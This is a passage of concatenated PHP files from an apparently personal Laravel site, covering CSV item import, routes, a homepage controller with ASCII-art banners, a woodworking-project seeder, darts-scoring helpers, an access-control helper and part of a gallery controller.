(count($data) > 0) { if ($request->has('header')) { $csv_header_fields = []; foreach ($data[0] as $key => $value) { $csv_header_fields[] = $key; } } $csv_data = array_slice($data, 0, 3); $csv_data_file = CsvData::create([ 'csv_filename' => $request->file('csv_file')->getClientOriginalName(), 'csv_header' => $request->has('header'), 'csv_data' => json_encode($data) ]); } else { return redirect()->back(); } return view('items.import.fields', compact( 'csv_header_fields', 'csv_data', 'csv_data_file')); } public function processImport(Request $request) { $data = CsvData::find($request->csv_data_file_id); $csv_data = json_decode($data->csv_data, true); foreach ($csv_data as $row) { $item = new Item(); foreach (config('app.items_db_fields') as $index => $field) { if ($data->csv_header) { $item->$field = $row[$request->fields[$field]]; } else { $item->$field = $row[$request->fields[$index]]; } } $item->save(); } return view('items.import.success'); } } <file_sep><?php // ALBUMS // Route::resource('albums', 'AlbumsController'); Route::get('albums/photo/{id}', 'AlbumsController@showPhoto') ->name('photo.show'); Route::get('photo/download/{ptf}', 'AlbumsController@download') ->name('photo.download'); Route::get('photo/add/{album_id}', 'AlbumsController@addPhoto') ->name('photo.add'); Route::post('photo/store', 'AlbumsController@storePhoto') ->name('photo.store'); Route::delete('photo/{id}', 'AlbumsController@destroyPhoto') ->name('photo.delete'); Route::get('albums/create', 'AlbumsController@create') ->name('albums.create'); Route::get('albums/{id}/edit', 'AlbumsController@edit') ->name('albums.edit'); Route::post('albums/{key?}', 'AlbumsController@store') ->name('albums.store'); Route::get('albums/{id}', 'AlbumsController@show') ->name('albums.show'); Route::get('albums/{key?}', 'AlbumsController@index') ->name('albums.index'); Route::put('albums/update/{id}', 'AlbumsController@update') ->name('albums.update'); Route::delete('albums/{id}', 'AlbumsController@destroy') ->name('albums.destroy');<file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ //Route::view('about', 'frontend.about'); // This route does not require a controller method associated to it Auth::routes(); Route::get('/', ['uses'=>'HomeController@index', 'as'=>'homepage']); Route::get('about', ['uses'=>'HomeController@about', 'as'=>'about']); Route::get('members', ['uses'=>'HomeController@members', 'as'=>'members']); Route::get('contact', ['uses'=>'HomeController@contact', 'as'=>'contact']); Route::post('contact', ['uses'=>'HomeController@postContact', 'as'=>'postContact']); Route::get('blog/search', ['uses'=>'BlogController@search', 'as'=>'blog.search']); Route::get('blog/print/{id}', ['uses'=>'BlogController@print', 'as'=>'blog.print']); Route::get('blog/viewImage/{id}', ['uses'=>'BlogController@viewImage', 'as'=>'blog.viewImage']); Route::get('blog/{year}/{month}', ['uses'=>'BlogController@archive', 'as'=>'blog.archive']); Route::post('blog/{id}/storeComment', ['uses'=>'BlogController@storeComment', 'as'=>'blog.storeComment']); Route::get('blog/{slug}', ['uses'=>'BlogController@getSingle', 'as'=>'blog.single'])->where('slug', '[\w\d\-\_]+'); Route::get('blog', ['uses'=>'BlogController@getIndex', 'as'=>'blog.index']); Route::get('dashboard', ['uses'=>'DashboardController@index', 'as'=>'dashboard']); // Route::get('posts/create', ['uses'=>'PostsController@index', 'as'=>'posts.create']); // Include all files from app\Http\routes\ folder foreach ( File::allFiles(__DIR__.'/routes') as $partial ) { require $partial->getPathname(); }<file_sep><?php namespace App\Http\Controllers\Frontend; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Article; use App\Post; use App\Recipe; use App\User; use App\WoodProject; use Carbon\Carbon; use Auth; use DB; use App\Mail\DemoMail; use Mail; class HomeController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { //$this->middleware('auth')->except('index','about','contact'); } ################################################################################################################## # ██╗ ██╗ ██████╗ ███╗ ███╗███████╗██████╗ █████╗ ██████╗ ███████╗ # ██║ ██║██╔═══██╗████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝ ██╔════╝ # ███████║██║ ██║██╔████╔██║█████╗ ██████╔╝███████║██║ ███╗█████╗ # ██╔══██║██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝ ██╔══██║██║ ██║██╔══╝ # ██║ ██║╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║ ██║╚██████╔╝███████╗ # ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ // Display a list of resources ################################################################################################################## public function index() { // Get list of articles by year and month $articlelinks = DB::table('articles') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) article_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); // Get list of posts by year and month $postlinks = DB::table('posts') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) post_count')) ->where('published_at', '<=', Carbon::now()) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); // Get list of recips by year and month $recipelinks = DB::table('recipes') ->select(DB::raw('YEAR(published_at) year, MONTH(published_at) month, MONTHNAME(published_at) month_name, COUNT(*) recipe_count')) ->where('published_at', '<=', Carbon::now()) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); $posts = Post::published()->with('user')->orderBy('created_at','desc')->take(5)->get(); $woodprojects = WoodProject::all()->random(5); $popularArticle = Article::published()->get()->sortByDesc('views')->take(1); $popularPost = Post::published()->get()->sortByDesc('views')->take(1); $popularRecipe = Recipe::published()->get()->sortByDesc('views')->take(1); $popularWoodProject = WoodProject::get()->sortByDesc('views')->take(1); return view('frontend.homepage', compact('posts', 'popularArticle', 'popularPost', 'popularRecipe', 'articlelinks', 'postlinks', 'recipelinks', 'woodprojects', 'popularWoodProject')); } ################################################################################################################## # █████╗ ██████╗ ██████╗ ██╗ ██╗████████╗ # ██╔══██╗██╔══██╗██╔═══██╗██║ ██║╚══██╔══╝ # ███████║██████╔╝██║ ██║██║ ██║ ██║ # ██╔══██║██╔══██╗██║ ██║██║ ██║ ██║ # ██║ ██║██████╔╝╚██████╔╝╚██████╔╝ ██║ # ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function about() { return view('frontend.about'); } ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗████████╗ █████╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║ ██║ ███████║██║ ██║ # ██║ ██║ ██║██║╚██╗██║ ██║ ██╔══██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║ ██║╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ################################################################################################################## public function contact() { return view('frontend.contact'); } ################################################################################################################## # ██████╗ ██╗ ██████╗ ██████╗ # ██╔══██╗██║ ██╔═══██╗██╔════╝ # ██████╔╝██║ ██║ ██║██║ ███╗ # ██╔══██╗██║ ██║ ██║██║ ██║ # ██████╔╝███████╗╚██████╔╝╚██████╔╝ # ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ################################################################################################################## public function blog() { return view('frontend.blog.index'); } ################################################################################################################## # ██╗████████╗███████╗███╗ ███╗███████╗ # ██║╚══██╔══╝██╔════╝████╗ ████║██╔════╝ # ██║ ██║ █████╗ ██╔████╔██║███████╗ # ██║ ██║ ██╔══╝ ██║╚██╔╝██║╚════██║ # ██║ ██║ ███████╗██║ ╚═╝ ██║███████║ # ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ################################################################################################################## public function items() { if(!checkACL('guest')) { return view('errors.frontend.403'); // abort(403); } return view('frontend.items.index'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██████╗ # ██╔════╝██║ ██║██╔═══██╗██╔══██╗ # ███████╗███████║██║ ██║██████╔╝ # ╚════██║██╔══██║██║ ██║██╔═══╝ # ███████║██║ ██║╚██████╔╝██║ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ################################################################################################################## public function shop() { return view('frontend.shop.index'); } ################################################################################################################## # ██████╗ ██████╗ ███████╗████████╗ ██████╗ ██████╗ ███╗ ██╗████████╗ █████╗ ██████╗████████╗ # ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝ ██╔════╝██╔═══██╗████╗ ██║╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝ # ██████╔╝██║ ██║███████╗ ██║ ██║ ██║ ██║██╔██╗ ██║ ██║ ███████║██║ ██║ # ██╔═══╝ ██║ ██║╚════██║ ██║ ██║ ██║ ██║██║╚██╗██║ ██║ ██╔══██║██║ ██║ # ██║ ╚██████╔╝███████║ ██║ ╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║ ██║╚██████╗ ██║ # ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ################################################################################################################## // public function postContact(Request $request) { // // used to submit the info from the contact page to the database // $this->validate($request, [ // 'email' => 'required|email', // 'subject' => 'required|min:3', // 'message' => 'required|min:10' // ]); // $data = array( // 'email' => $request->email, // 'subject' => $request->subject, // 'bodyMessage' => $request->message // ); // // $token = $request->input('g-recaptcha-response'); // // if ($token) { // // $client = new Client(); //Initialize a new Guzzle object // // $response = $client->post('https://www.google.com/recaptcha/api/siteverify', [ // // 'form_params' => array( // // 'secret' => '<KEY>', // // 'response' => $token // // ) // // ]); // // $results = json_decode($response->getBody()->getContents()); // // if ($results->success) { // // Session::flash('success','Yes we know you are human'); // // } else { // // Session::flash('error','You are probably a robot'); // // } // // } // // use Mail::queue() to send multiple emails at a later time // Mail::send('emails.contact', $data, function($message) use ($data) { // $message->from($data['email']); // $message->to('<EMAIL>'); // $message->subject($data['subject']); // }); // // Save entry to log file using built-in Monolog // // if(Auth::check()) { // // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") submitted :: Contact"); // // }else{ // // Log::info(getClientIP() . " submitted :: Contact"); // // } // Session::flash('success','Your email was sent!'); // return redirect()->url('/'); // } ################################################################################################################## # ██████╗ ██████╗ ███████╗████████╗ ██████╗ ██████╗ ███╗ ██╗████████╗ █████╗ ██████╗████████╗ # ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝ ██╔════╝██╔═══██╗████╗ ██║╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝ # ██████╔╝██║ ██║███████╗ ██║ ██║ ██║ ██║██╔██╗ ██║ ██║ ███████║██║ ██║ # ██╔═══╝ ██║ ██║╚════██║ ██║ ██║ ██║ ██║██║╚██╗██║ ██║ ██╔══██║██║ ██║ # ██║ ╚██████╔╝███████║ ██║ ╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║ ██║╚██████╗ ██║ # ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ################################################################################################################## public function postContact(Request $request) { $email = Auth::user()->email; //dd($email); Mail::to($email)->send(new DemoMail()); return view('homepage'); } ################################################################################################################## # ███╗ ███╗███████╗███╗ ███╗██████╗ ███████╗██████╗ ███████╗ # ████╗ ████║██╔════╝████╗ ████║██╔══██╗██╔════╝██╔══██╗██╔════╝ # ██╔████╔██║█████╗ ██╔████╔██║██████╔╝█████╗ ██████╔╝███████╗ # ██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗╚════██║ # ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║██████╔╝███████╗██║ ██║███████║ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ################################################################################################################## public function members() { $members = User::where('role_id','!=',10)->orderBy('username','asc')->get(); return view('frontend.members', compact('members')); } ################################################################################################################## # ████████╗███████╗███████╗████████╗ # ╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝ # ██║ █████╗ ███████╗ ██║ # ██║ ██╔══╝ ╚════██║ ██║ # ██║ ███████╗███████║ ██║ # ╚═╝ ╚══════╝╚══════╝ ╚═╝ ################################################################################################################## public function test() { return view('test'); } } <file_sep><?php use Illuminate\Database\Seeder; class WoodprojectsTableSeeder extends Seeder { /** * Auto generated seed file * * @return void */ public function run() { \DB::table('woodprojects')->delete(); \DB::table('woodprojects')->insert(array ( 0 => array ( 'id' => 1, 'category_id' => 8, 'name' => 'Storage Bench', 'description' => 'Storage Bench', 'main_image' => 'bench1_1518614756.jpg', 'views' => 0, 'time_invested' => 15, 'price' => '65', 'wood_specie_id' => '47', 'wood_type_id' => '14', 'width' => '38', 'depth' => '20', 'height' => '24', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => '32', 'finish_sheen_id' => NULL, 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:25:56', 'updated_at' => '2018-02-14 08:25:56', ), 1 => array ( 'id' => 2, 'category_id' => 8, 'name' => 'Hall Table', 'description' => 'Hall Table', 'main_image' => 'hall-table_1518615064.jpg', 'views' => 0, 'time_invested' => 12, 'price' => '50', 'wood_specie_id' => '47', 'wood_type_id' => '14', 'width' => '36', 'depth' => '20', 'height' => '30', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:31:04', 'updated_at' => '2018-02-14 08:31:04', ), 2 => array ( 'id' => 3, 'category_id' => 51, 'name' => 'Candle Box 1', 'description' => 'Light Brown Candle Box', 'main_image' => 'candle_box_1_1518615146.jpg', 'views' => 0, 'time_invested' => 2, 'price' => '5', 'wood_specie_id' => '48', 'wood_type_id' => '14', 'width' => '12', 'depth' => '5', 'height' => '4', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:32:26', 'updated_at' => '2018-02-14 08:34:21', ), 3 => array ( 'id' => 4, 'category_id' => 51, 'name' => '<NAME>', 'description' => 'Dark Brown Candle Box', 'main_image' => 'candle_box_2_1518615228.jpg', 'views' => 0, 'time_invested' => 2, 'price' => '10', 'wood_specie_id' => '47', 'wood_type_id' => '14', 'width' => '12', 'depth' => '5', 'height' => '4', 'stain_type_id' => '17', 'stain_color_id' => NULL, 'stain_sheen_id' => '28', 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:33:49', 'updated_at' => '2018-02-14 08:33:49', ), 4 => array ( 'id' => 5, 'category_id' => 51, 'name' => 'Candle Holder 1', 'description' => 'Candle Holder 1', 'main_image' => 'candle_holder_1_1518615425.jpg', 'views' => 0, 'time_invested' => 3, 'price' => '15', 'wood_specie_id' => '47', 'wood_type_id' => '14', 'width' => '7', 'depth' => '5', 'height' => '14', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:37:05', 'updated_at' => '2018-02-14 08:37:05', ), 5 => array ( 'id' => 6, 'category_id' => 51, 'name' => 'Candle Holder 2', 'description' => 'Candle Holder 2', 'main_image' => 'candle_holder_2_1518615485.jpg', 'views' => 0, 'time_invested' => 3, 'price' => '16', 'wood_specie_id' => '12', 'wood_type_id' => '14', 'width' => '7', 'depth' => '5', 'height' => '14', 'stain_type_id' => '17', 'stain_color_id' => NULL, 'stain_sheen_id' => '28', 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:38:05', 'updated_at' => '2018-02-14 08:38:05', ), 6 => array ( 'id' => 7, 'category_id' => 50, 'name' => 'Small Chalkboard', 'description' => 'Small Chalkboard', 'main_image' => 'chalkboard_1518615569.jpg', 'views' => 0, 'time_invested' => 5, 'price' => '25', 'wood_specie_id' => '48', 'wood_type_id' => '14', 'width' => '25', 'depth' => '3', 'height' => '25', 'stain_type_id' => '17', 'stain_color_id' => '11', 'stain_sheen_id' => '28', 'finish_type_id' => '34', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:39:29', 'updated_at' => '2018-02-14 08:39:29', ), 7 => array ( 'id' => 8, 'category_id' => 51, 'name' => 'Mirror', 'description' => 'Mirror made from reclaimed window', 'main_image' => 'mirror_1518615642.jpg', 'views' => 0, 'time_invested' => 12, 'price' => '40', 'wood_specie_id' => '12', 'wood_type_id' => '14', 'width' => '23', 'depth' => '2', 'height' => '24', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:40:42', 'updated_at' => '2018-02-14 08:40:42', ), 8 => array ( 'id' => 9, 'category_id' => 9, 'name' => 'Corner Shelf', 'description' => 'Corner Shelf', 'main_image' => 'corner_shelf_1518615745.jpg', 'views' => 0, 'time_invested' => 4, 'price' => NULL, 'wood_specie_id' => '12', 'wood_type_id' => '14', 'width' => '6', 'depth' => '6', 'height' => '60', 'stain_type_id' => '17', 'stain_color_id' => '10', 'stain_sheen_id' => '28', 'finish_type_id' => '32', 'finish_sheen_id' => '53', 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:42:25', 'updated_at' => '2018-02-14 08:42:25', ), 9 => array ( 'id' => 10, 'category_id' => 52, 'name' => 'Wine Rack', 'description' => 'Wine Rack can hold 8 bottles', 'main_image' => 'wine_rack_1518615827.jpg', 'views' => 0, 'time_invested' => 4, 'price' => NULL, 'wood_specie_id' => '12', 'wood_type_id' => '14', 'width' => '8', 'depth' => '7', 'height' => '53', 'stain_type_id' => NULL, 'stain_color_id' => NULL, 'stain_sheen_id' => NULL, 'finish_type_id' => NULL, 'finish_sheen_id' => NULL, 'completed_at' => '2018-02-02 00:00:00', 'weight' => NULL, 'created_at' => '2018-02-14 08:43:47', 'updated_at' => '2018-02-14 08:44:10', ), )); } }<file_sep><?php namespace App\Classes; class ZeroOneDarts { function playerBestScore($player) { //dd($player); $val = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->max('score'); if($val == 0) { return 'N/A'; } return $val; } }<file_sep><?php function checkACL($acl) { if(Auth::check()) { if ($acl == 'guest') { if (Auth::user()->role_id <= 80) { return true; } } elseif ($acl == 'user') { if (Auth::user()->role_id <= 70) { return true; } // } elseif ($acl == 'author_posts') { // if (Auth::user()->role_id <= 61) { // return true; // } } elseif ($acl == 'author') { if (Auth::user()->role_id <= 60) { return true; } } elseif ($acl == 'timeTrack') { if (Auth::user()->role_id <= 55) { return true; } } elseif ($acl == 'editor') { if (Auth::user()->role_id <= 50) { return true; } } elseif ($acl == 'publisher') { if (Auth::user()->role_id <= 40) { return true; } } elseif ($acl == 'manager') { if (Auth::user()->role_id <= 30) { return true; } } elseif ($acl == 'admin') { if (Auth::user()->role_id <= 20) { return true; } } elseif ($acl == 'superadmin') { if (Auth::user()->role_id <= 10) { return true; } } } } function checkOwner($model) { if(Auth::check()) { if($model->user_id == Auth::user()->id) { //return 'checkOwner'; return true; } } } function checkPerm($user_id) { // check if specific user can access specific page/module } function getClientIP(){ return $_SERVER["REMOTE_ADDR"]; } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ██████╗ █████╗ ██████╗ ████████╗███████╗ // ██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ // ██║ ██║███████║██████╔╝ ██║ ███████╗ // ██║ ██║██╔══██║██╔══██╗ ██║ ╚════██║ // ██████╔╝██║ ██║██║ ██║ ██║ ███████║ // ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function zeroOnePlayerBestScore($player) { //dd($player); $val = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->max('score'); if($val == 0) { return 'N/A'; } return $val; } function zeroOnePlayerScoreAvg($player) { $shots = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->count(); if($shots == 0) { return 'N/A'; } $totaluserscore = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->sum('score'); $val = $totaluserscore / $shots; return number_format($val, 2); } function zeroOnePlayerDartAvg($player) { $shots = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->count(); if($shots == 0) { return 'N/A'; } $totaluserscore = DB::table('dartscores') ->where('game_id', $player->dartgame_id) ->where('team_id', $player->team_id) ->where('user_id', $player->id) ->sum('score'); $val = ($totaluserscore / $shots) / 3; return number_format($val, 2); } function zeroOneTeamBestScore($game, $team) { $val = DB::table('dartscores') ->join('dartgame_user', 'dartscores.user_id', '=', 'dartgame_user.user_id') ->where('game_id', $game->id) ->where('dartscores.team_id', $team) ->max('score'); if($val == 0) { return 'N/A'; } return $val; } function zeroOneTeamBestScoreBy($game, $team) { $v1 = DB::table('dartscores') ->where('game_id', $game->id) ->where('team_id', $team) ->orderby('score','desc') ->first(); if(!$v1) { return 'N/A'; } $val = DB::table('Users') ->join('profiles', 'users.id', '=', 'profiles.user_id') ->where('users.id', '=', $v1->user_id) ->first(); return $val->first_name; } function zeroOneTeamScores($game, $team) { $t = DB::table('dartscores') ->join('users', 'dartscores.user_id', '=', 'users.id') ->join('profiles', 'dartscores.user_id', '=', 'profiles.user_id') ->where('game_id', $game->id) ->where('team_id', $team) ->orderBy('dartscores.id','desc') ->get(); return $t; } function zeroOneTeamPlayers($game, $team) { $teamPlayers = DB::table('dartgame_user') ->join('users', 'dartgame_user.user_id', '=', 'users.id') ->join('profiles', 'dartgame_user.user_id', '=', 'profiles.user_id') ->where('dartgame_id', $game->id) ->where('team_id', $team) ->orderBy('dartgame_user.id', 'asc') ->get(); return $teamPlayers; } function zeroOnePlayers($game) { $teamPlayers = DB::table('dartgame_user') ->join('users', 'dartgame_user.user_id', '=', 'users.id') ->join('profiles', 'dartgame_user.user_id', '=', 'profiles.user_id') ->where('dartgame_id', $game->id) ->orderBy('dartgame_user.id', 'asc') ->get(); //dd($teamPlayers); return $teamPlayers; } function zeroOneAllPlayers($game) { $allPlayers = DB::table('dartgame_user') ->join('users', 'dartgame_user.user_id', '=', 'users.id') ->join('profiles', 'dartgame_user.user_id', '=', 'profiles.user_id') ->where('dartgame_id', $game->id) ->orderBy('profiles.first_name', 'asc') ->get(); return $allPlayers; } function zeroOneGameWinner($game) { if ($winner = DB::table('dartscores') ->where('game_id', $game->id) ->where('remaining', 0) ->first()) { return 'Team ' . $winner->team_id; } } function zeroOneLastShot($game) { $last = DB::table('dartscores') //->join('users', 'dartscores.user_id', '=', 'users.id') ->join('dartgame_user', 'dartscores.user_id', '=', 'dartgame_user.user_id') ->where('game_id', $game->id) ->latest('dartscores.id') ->first(); //dd($last); if($last){ // // Return last player to shoot //echo "LAST : " . $last->user_id . "<br />"; //dd($last->shooting_order); return $last->shooting_order; } } function zeroOneNextShot($game) { $totalPlayers = DB::table('dartgame_user') ->where('dartgame_id', $game->id) ->orderBy('shooting_order', 'asc') ->count(); //echo '<br />Total Players : ' . ($totalPlayers) . '<br />'; // if(lastShot($game)) { if (zeroOneLastShot($game)) { //echo 'Last Shot : ' . zeroOneLastShot($game) . "<br />"; $i = zeroOneLastShot($game) + 1; // $i = $i = zeroOneLastShot($game); // $i = $i + 1; // echo 'Next Shot :' . $i; if($i > $totalPlayers) { return 1; } return $i; } else { // No one has shot yet, so set shooting order to 1 return 1; } } // // Individual Player Games // // function zeroOnePlayerLastShot($game) { // $last = DB::table('dartscores') // ->join('users', 'dartscores.user_id', '=', 'users.id') // ->join('dartgame_user', 'dartscores.user_id', '=', 'dartgame_user.user_id') // ->where('game_id', $game->id) // ->latest('dartscores.id') // ->first(); // //dd($last); // if($last){ // // // Return last player to shoot // //echo "LAST : " . $last->user_id . "<br />"; // //dd('last shot:'. $last->shooting_order); // return $last->shooting_order; // } // } // function zeroOnePlayerNextShot($game) { // //dd($game->id); // $totalPlayers = DB::table('dartgame_user') // ->where('dartgame_id', $game->id) // ->where('dartgame_user.shooting_order', zeroOnePlayerLastShot($game)) // ->orderBy('shooting_order', 'asc') // ->count(); // echo '<br />Total Players : ' . ($totalPlayers) . '<br />'; // if (zeroOnePlayerLastShot($game)) { // //dd('PLS is set'.$game->shooting_order); // echo "LAST SHOT:" . (zeroOnePlayerLastShot($game)) . "<br />"; // $i = zeroOnePlayerLastShot($game) + 1; // //dd('LAST SHOT:' . $i); // if($i > $totalPlayers) { // return 1; // } // return $i; // } else { // // No one has shot yet, so set shooting order to 1 // return 1; // //echo 'Next Shot::: 1'; // } // } function zeroOnePlayerScore($game, $player) { $t = DB::table('dartscores') ->join('users', 'dartscores.user_id', '=', 'users.id') ->join('profiles', 'dartscores.user_id', '=', 'profiles.user_id') ->where('game_id', $game) ->where('dartscores.user_id', $player) ->orderBy('dartscores.id','desc') ->get(); //dd($t); return $t; }<file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Gallery; use Auth; use Session; use Validator; use Intervention\Image\Facades\Image; class GalleryController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { $this->middleware('auth'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function viewGalleryList() { $galleries = Gallery::All(); return view('backend.galleries.index', compact('galleries')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function saveGallery(Request $request) { // Validate the request thorugh the validation rules $validator = Validator::make($request->all(), [ 'gallery_name' => 'required|min:5' ]); // Validation fails if ($validator->fails()) { return redirect('backend.gallery.list') ->withErrors($validator) ->withInput(); } $gallery = new Gallery; $gallery->name = $request->input('gallery_name'); $gallery->created_by = Auth::user()->id; $gallery->published = 1; $gallery->save(); return redirect()->back(); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function editGallery($id) { $gallery = Gallery::find($id); return view('backend.galleries.edit', compact('gallery')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ 